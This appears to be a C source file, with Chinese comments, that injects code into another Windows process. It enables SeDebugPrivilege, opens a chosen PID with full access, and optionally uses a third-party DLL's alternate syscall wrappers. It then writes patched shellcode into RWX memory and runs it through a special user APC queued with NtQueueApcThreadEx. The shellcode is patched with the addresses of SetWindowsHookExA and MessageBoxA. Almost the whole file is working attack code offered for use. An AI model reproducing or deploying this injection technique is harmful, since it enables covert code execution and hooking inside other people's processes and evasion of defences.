| 插入代码
 ```/*
 *?函数原型:
 NTSTATUS NtQueueTHreadApcEx(
 _in HANDLE thread,
 _in UCHAR flags,0:常规用户APC,1:特殊用户APC
 _in PAPCFUNC apcRoutine,
 _in PVOID context1,
 _in PVOID arg1,
 _in PVOID arg2
 );
 需要从Ntdll.dll模块显式导出(GetProcAddress)
 */
 #define _CRT_SECURE_NO_WARNINGS
 #include<stdio.h>
 #include<Windows.h>
 #include<Tlhelp32.h>
 #include"fun.h"
 HWND hwndG?=?0;
 BOOL?CALLBACK EnumWindowsProc(
 ????HWND hwnd,
 ????LPARAM lParam)
 {
 ????WCHAR path[MAX_PATH]?=?{?0?};
 ????WCHAR*?text?=?(WCHAR*)lParam;
 ????GetWindowText(hwnd, path, MAX_PATH);
 ????if?(lstrcmpW(text, path)?==?0)
 ????{
 ????????hwndG?=?hwnd;
 ????????return?FALSE;
 ????}
 ????else
 ????{
 ????????hwndG?=?0;
 ????????return?TRUE;
 ????}
 }
 DWORD WINAPI GetThreadIdByProcessId(DWORD dwProcessId)
 {
 ????THREADENTRY32 th32;
 ????th32.dwSize?=?sizeof(THREADENTRY32);
 ????DWORD dwThreadId?=?0;
 ????HANDLE hdTool?=?CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, dwProcessId);
 ????if?(Thread32First(hdTool, &th32))
 ????{
 ????????do
 ????????{
 ????????????if?(th32.th32OwnerProcessID?==?dwProcessId)
 ????????????{
 ????????????????dwThreadId?=?th32.th32ThreadID;
 ????????????????//printf("%d\n", dwThreadId);
 ????????????????break;
 ????????????}
 ????????}?while?(Thread32Next(hdTool, &th32));
 ????}
 ????else
 ????{
 ????????DWORD dwErro?=?GetLastError();
 ????????//printf("遍历进程失败!——%d", dwErro);
 ????????return?dwErro;
 ????}
 ?????
 ????return?dwThreadId;
 }
 BOOL?WINAPI PrivilegeAdjust()
 {
 ????BOOL?flag;
 ????HANDLE token;
 ????if?(!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &token))
 ????{
 ????????//printf("打开令牌失败!\n");
 ????????flag?=?FALSE;
 ????}
 ????LUID pid;
 ????if?(!LookupPrivilegeValueA(NULL,?"SeDebugPrivilege", &pid))
 ????{
 ????????//printf("查看特权ID失败\n");
 ????????flag?=?FALSE;
 ????}
 ????TOKEN_PRIVILEGES tp;
 ????tp.PrivilegeCount?=?1;
 ????tp.Privileges[0].Luid?=?pid;
 ????tp.Privileges[0].Attributes?=?SE_PRIVILEGE_ENABLED;
 ????if?(!AdjustTokenPrivileges(token, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL))
 ????{
 ????????//printf("提升特权失败!\n");
 ????????flag?=?FALSE;
 ????}
 ????return?TRUE;
 }
 typedef?BOOL(*MYTYPE)(HANDLE, LPVOID, LPVOID, SIZE_T, SIZE_T*);
 typedef HANDLE(*OPPS)(DWORD,?BOOL, DWORD);
 typedef?BOOL(*WRMEMEX)(HANDLE, LPVOID, LPVOID, SIZE_T, SIZE_T*);
 typedef HANDLE(*OPTS)();
 typedef ULONG64(*GETPEB)(DWORD);
 typedef NTSTATUS(*NTQUEAPC)(HANDLE, UCHAR, PVOID, PVOID, PVOID, PVOID);
 WRMEMEX Read;
 WRMEMEX Write;
 OPPS OpenPro;
 OPTS OpenThr;
 NTQUEAPC NtQueueUserApcEx;
 VOID InitFrmak()
 {
 ????printf("内核\n");
 ????NtQueueUserApcEx?=?NULL;
 ????HMODULE mod?=?LoadLibraryA("ApiSystemCall.dll");
 ????Read?=?(WRMEMEX)GetProcAddress(mod,?"YhReadProcessMemory");
 ????Write?=?(WRMEMEX)GetProcAddress(mod,?"YhWriteProcessMemory");
 ????OpenPro?=?(OPPS)GetProcAddress(mod,?"YhOpenProcess");
 ????OpenThr?=?(OPTS)GetProcAddress(mod,?"YhOpenThread");
 ????NtQueueUserApcEx?=?(NTQUEAPC)GetProcAddress(GetModuleHandleA("ntdll.dll"),?"NtQueueApcThreadEx");
 ????if?(NtQueueUserApcEx?==?NULL)
 ????{
 ????????MessageBoxA(NULL,?"获取函数失败",?0,?0);
 ????}
 }
 VOID InitFrmakEx()
 {
 ????NtQueueUserApcEx?=?NULL;
 ?????
 ????printf("普通\n");
 ????Read?=?ReadProcessMemory;
 ????Write?=?WriteProcessMemory;
 ????OpenPro?=?OpenProcess;
 ????OpenThr?=?OpenThread;
 ????NtQueueUserApcEx?=?(NTQUEAPC)GetProcAddress(GetModuleHandleA("ntdll.dll"),?"NtQueueApcThreadEx");
 ????if?(NtQueueUserApcEx?==?NULL)
 ????{
 ????????MessageBoxA(NULL,?"获取函数失败",?0,?0);
 ????}
 }
 typedef VOID(*FUN)();
 int?main()
 {
 ????DWORD pid;
 ????SIZE_T size=0;
 ????CONTEXT text;
 ????VirtualProtect(fun,?0x60, PAGE_EXECUTE_READWRITE, &pid);
 ????*(ULONG64*)(&(((UCHAR*)fun2)[0x34]))?=?MessageBoxA;
 ????*(ULONG64*)(&(((UCHAR*)fun2)[0x9f]))?=?SetWindowsHookExA;
 ????//fun(NULL,NULL,NULL);
 ????printf("请输入模式:\n1.普通模式\n2.内核模式\n");
 ????scanf("%d", &size);
 ????(size==1)? InitFrmakEx(): InitFrmak();
 ????printf("请输入进程PID:\n");
 ????scanf("%d", &pid);
 ????PrivilegeAdjust();
 ?????
 ????HANDLE hd?=?OpenPro(PROCESS_ALL_ACCESS, FALSE, pid);
 ????PVOID mem?=?VirtualAllocEx(hd, NULL,?0X1000, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
 ????DWORD tid?=?GetThreadIdByProcessId(pid);
 ????HANDLE td;
 ????if?(size?==?1)
 ????{
 ????????td?=?OpenThr(THREAD_ALL_ACCESS,FALSE,tid);
 ????}
 ????else
 ????{
 ????????td?=?OpenThr(tid, hd, THREAD_ALL_ACCESS, FALSE);
 ????}
 ????if?(!Write(hd, mem, fun2,?0x100, &size))
 ????{
 ????????MessageBoxA(0,?"写入失败",?0,?0);
 ????}
 ????SuspendThread(td);
 ????NTSTATUS code?=?NtQueueUserApcEx(td,?1, (PVOID)(((ULONG64)mem)+0x53), tid,?0,?0);
 ????if(code!=0)
 ????{
 ?????????
 ????????printf("%x\n", code);
 ????????MessageBox(0,?0,?0,?0);
 ????}
 ????ResumeThread(td);
 ????system("pause");
 ????return?0;
 }
 |